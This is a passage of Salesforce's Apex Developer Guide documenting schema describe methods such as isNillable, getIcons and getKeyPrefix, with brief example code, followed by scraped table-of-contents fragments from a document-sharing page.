Returns true if the field can be used to specify a record in an upsert method, false otherwise.
Signature
public Boolean isIdLookup()
Return Value
Type: Boolean
isNameField()
Returns true if the field is a name field, false otherwise.
Signature
public Boolean isNameField()
2302
Return Value
Type: Boolean
Usage
This method is used to identify the name field for standard objects (such as AccountName for an Account object) and custom objects.
Objects can only have one name field, except where the FirstName and LastName fields are used instead (such as on the Contact
object).
If a compound name is present, for example, the Name field on a person account, isNameField is set to true for that record.
isNamePointing()
Returns true if the field can have multiple types of objects as parents. For example, a task can have both the Contact/Lead ID
(WhoId) field and the Opportunity/Account ID (WhatId) field return true for this method. because either of those objects
can be the parent of a particular task record. This method returns false otherwise.
Signature
public Boolean isNamePointing()
Return Value
Type: Boolean
isNillable()
Returns true if the field is nillable, false otherwise. A nillable field can have empty content. A non-nillable field must have a value
for the object to be created or saved.
Signature
public Boolean isNillable()
Return Value
Type: Boolean
isPermissionable()
Returns true if field permissions can be specified for the field, false otherwise.
Signature
public Boolean isPermissionable()
Return Value
Type: Boolean
2303
Signature
public Boolean isRestrictedDelete()
Return Value
Type: Boolean
isRestrictedPicklist()
Returns true if the field is a restricted picklist, false otherwise
Signature
public Boolean isRestrictedPicklist()
Return Value
Type: Boolean
isSearchPrefilterable()
Returns true if a foreign key can be included in prefiltering when used in a SOSL WHERE clause, false otherwise.
Signature
public Boolean isSearchPrefilterable()
Return Value
Type: Boolean
Usage
Prefiltering means to filter by a specific field value before executing the full search query.
isSortable()
Returns true if a query can sort on the field, false otherwise
Signature
public Boolean isSortable()
Return Value
Type: Boolean
2304
isUnique()
Returns true if the value for the field must be unique, false otherwise
Signature
public Boolean isUnique()
Return Value
Type: Boolean
isUpdateable()
Returns true if the field can be edited by the current user, or child records in a master-detail relationship field on a custom object can
be reparented to different parent records; false otherwise.
Signature
public Boolean isUpdateable()
Return Value
Type: Boolean
isWriteRequiresMasterRead()
Returns true if writing to the detail object requires read sharing instead of read/write sharing of the parent.
Signature
public Boolean isWriteRequiresMasterRead()
Return Value
Type: Boolean
DescribeIconResult Class
Contains icon metadata information for a tab.
Namespace
Schema
Usage
The getIcons method of the Schema.DescribeTabResult class returns a list of Schema.DescribeIconResult
objects that describe colors used in a tab.
2305
The methods in the Schema.DescribeIconResult class can be called using their property counterparts. For each method
starting with get, you can omit the get prefix and the ending parentheses () to call the property counterpart. For example,
iconResultObj.url is equivalent to iconResultObj.getUrl().
Example
This sample shows how to get the icon information in the Sales app for the first tab’s first icon.
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set

for(Schema.DescribeTabSetResult tsr : tabSetDesc) {
// Get tab info for the Sales app
if (tsr.getLabel() == 'Sales') {
// Get icon information for the first tab
List<Schema.DescribeIconResult> iconDesc = tsr.getTabs()[0].getIcons();
// Display the icon height and width of the first icon
System.debug('Height: ' + iconDesc[0].getHeight());
System.debug('Width: ' + iconDesc[0].getWidth());
}
}

// DEBUG|Height: 32
// DEBUG|Width: 32
DescribeIconResult Methods
The following are methods for DescribeIconResult. All are instance methods.
IN THIS SECTION:
getContentType()
Returns the tab icon’s content type, such as image/png.
getHeight()
Returns the tab icon’s height in pixels.
getTheme()
Returns the tab’s icon theme.
getUrl()
Returns the tab’s icon fully qualified URL.
getWidth()
Returns the tab’s icon width in pixels.
getContentType()
Returns the tab icon’s content type, such as image/png.
2306
Signature
public String getContentType()
Return Value
Type: String
getHeight()
Returns the tab icon’s height in pixels.
Signature
public Integer getHeight()
Return Value
Type: Integer
Usage
Note: If the icon content type is SVG, the icon won’t have a size and its height is zero.
getTheme()
Returns the tab’s icon theme.
Signature
public String getTheme()
Return Value
Type: String
Possible theme values include theme3, theme4, and custom.
• theme3 is the Salesforce theme introduced during Spring ‘10.
• theme4 is the Salesforce theme introduced in Winter ‘14 for the mobile touchscreen version of Salesforce.
• custom is the theme name associated with a custom icon.
getUrl()
Returns the tab’s icon fully qualified URL.
Signature
public String getUrl()
2307
Return Value
Type: String
getWidth()
Returns the tab’s icon width in pixels.
Signature
public Integer getWidth()
Return Value
Type: Integer
Usage
Note: If the icon content type is SVG, the icon won’t have a size and its width is zero.
DescribeSObjectResult Class
Contains methods for describing sObjects.
Namespace
Schema
Usage
None of the methods take an argument.
DescribeSObjectResult Methods
The following are methods for DescribeSObjectResult. All are instance methods.
IN THIS SECTION:
fields
Follow fields with a field member variable name or with the getMap method.
fieldSets
Follow fieldSets with a field set name or with the getMap method.
getChildRelationships()
Returns a list of child relationships, which are the names of the sObjects that have a foreign key to the sObject being described.
getHasSubtypes()
Indicates whether the object has subtypes. The Account object, which has subtype PersonAccount, is the only object that will return
true.
2308
getKeyPrefix()
Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of
the object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006).
getLabel()
Returns the object's label, which may or may not match the object name.
getLabelPlural()
Returns the object's plural label, which may or may not match the object name.
getLocalName()
Returns the name of the object, similar to the getName method. However, if the object is part of the current namespace, the
namespace portion of the name is omitted.
getName()
Returns the name of the object.
getRecordTypeInfos()
Returns a list of the record types supported by this object. The current user is not required to have access to a record type to see it
in this list.
getRecordTypeInfosById()
Returns a map that matches record IDs to their associated record types. The current user is not required to have access to a record
type to see it in this map.
getRecordTypeInfosByName()
Returns a map that matches record labels to their associated record type. The current user is not required to have access to a record
type to see it in this map.
getSobjectType()
Returns the Schema.SObjectType object for the sObject. You can use this to create a similar sObject.
isAccessible()
Returns true if the current user can see this object, false otherwise.
isCreateable()
Returns true if the object can be created by the current user, false otherwise.
isCustom()
Returns true if the object is a custom object, false if it is a standard object.
isCustomSetting()
Returns true if the object is a custom setting, false otherwise.
isDeletable()
Returns true if the object can be deleted by the current user, false otherwise.
isFeedEnabled()
Returns true if Chatter feeds are enabled for the object, false otherwise. This method is only available for Apex classes and
triggers saved using SalesforceAPI version 19.0 and later.
isMergeable()
Returns true if the object can be merged with other objects of its type by the current user, false otherwise. true is returned
for leads, contacts, and accounts.
2309
isMruEnabled()
Returns true if Most Recently Used (MRU) list functionality is enabled for the object, false otherwise.
isQueryable()
Returns true if the object can be queried by the current user, false otherwise
isSearchable()
Returns true if the object can be searched by the current user, false otherwise.
isUndeletable()
Returns true if the object cannot be undeleted by the current user, false otherwise.
isUpdateable()
Returns true if the object can be updated by the current user, false otherwise.
fields
Follow fields with a field member variable name or with the getMap method.
Signature
public Schema.SObjectTypeFields fields()
Return Value
Type: The return value is a special data type. See the example to learn how to use fields.
Usage
Note: When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned
regardless of the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent
API version, components of a geolocation field are returned even if the class is saved in an earlier API version.
Example
Schema.DescribeFieldResult dfr = Schema.SObjectType.Account.fields.Name;
To get a custom field name, specify the custom field name.
SEE ALSO:
Using Field Tokens
fieldSets
Follow fieldSets with a field set name or with the getMap method.
Signature
public Schema.SObjectTypeFields fieldSets()
2310
Return Value
Type: The return value is a special data type. See the example to learn how to use fieldSets.
Example
Schema.DescribeSObjectResult d =
Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FsMap =
d.fieldSets.getMap();
SEE ALSO:
Using Field Tokens
getChildRelationships()
Returns a list of child relationships, which are the names of the sObjects that have a foreign key to the sObject being described.
Signature
public Schema.ChildRelationship getChildRelationships()
Return Value
Type: List<Schema.ChildRelationship>
Example
For example, the Account object includes Contacts and Opportunities as child relationships.
getHasSubtypes()
Indicates whether the object has subtypes. The Account object, which has subtype PersonAccount, is the only object that will return
true.
Signature
public Boolean getHasSubtypes()
Return Value
Type: Boolean
getKeyPrefix()
Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of the
object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006).
2311
Signature
public String getKeyPrefix()
Return Value
Type: String
Usage
The DescribeSobjectResult object returns a value for objects that have a stable prefix. For object types that do not have a stable or
predictable prefix, this field is blank. Client applications that rely on these codes can use this way of determining object type to ensure
forward compatibility.
getLabel()
Returns the object's label, which may or may not match the object name.
Signature
Return Value
Type: String
Usage
The object's label might not always match the object name. For example, an organization in the medical industry might change the
label for Account to Patient. This label is then used in the Salesforce user interface. See the Salesforce online help for more information.
getLabelPlural()
Returns the object's plural label, which may or may not match the object name.
Signature
public String getLabelPlural()
Return Value
Type: String
Usage
The object's plural label might not always match the object name. For example, an o

Apex Developer Guide: Version 41.0, Winter '18

Uploaded by

Copyright:

Available Formats

Apex Developer Guide: Version 41.0, Winter '18

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Apex Developer Guide: Version 41.0, Winter '18

Uploaded by

Copyright:

Available Formats

Apex Developer Guide

Version 41.0, Winter ’18

Chapter 1: Apex Developer Guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

Process Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2107

Getting Started with Apex

5. Developing Code in the Cloud

You can add Apex to most system events.

As a language, Apex is:

Understanding Apex Core Concepts

Programming elements in Apex

Using Version Settings

Naming Variables, Methods and Classes

Using Variables and Expressions

datatype variable_name [ = value];

The following are examples of variable declarations:

The first index position in a list is always 0.

List <datatype> list_name

For more information, see Lists on page 30.

For more information, see Sets on page 32.

Map<key_datatype, value_datatype> map_name

For more information, see Maps on page 33.

For more information, see Conditional (If-Else) Statements on page 49.

When Should I Use Apex?

How Does Apex Work?

Apex is compiled, stored, and run entirely on the Force.com platform

Developing Code in the Cloud

• Summer ’15 Release Notes

Apex Development Process

What is the Apex Development Process?

Create a Developer or Sandbox Org

To create a sandbox org:

4. Select the type of sandbox you want.

5. Select the data to include in your Partial Copy or Full sandbox.

• Classes, Objects, and Interfaces

Writing Apex Using Development Environments

Force.com Developer Console

Code Editor in the Salesforce User Interface

• Every trigger must have some test coverage.

Deploying Apex to a Sandbox Organization

Deploying Apex to a Salesforce Production Organization

Adding Apex Code to a Force.com AppExchange App

Apex Quick Start

Create a Custom Object

7. Select Number for the data type and click Next.

Adding an Apex Class

Add an Apex Trigger

Book__c[] books = Trigger.new;

The first line of code defines the trigger:

Add a Test Class

• Every trigger must have some test coverage.

// Retrieve the new book

// Test that the trigger correctly updated the price

Deploying Components to Production

Data Types and Variables

7. Expressions and Operators

Primitive Data Types

Data Type Description

Data Type Description

Scientific notation (e) for Doubles is not supported.

= x = y Multiplication assignment operator (Right associative). Multiplies the value of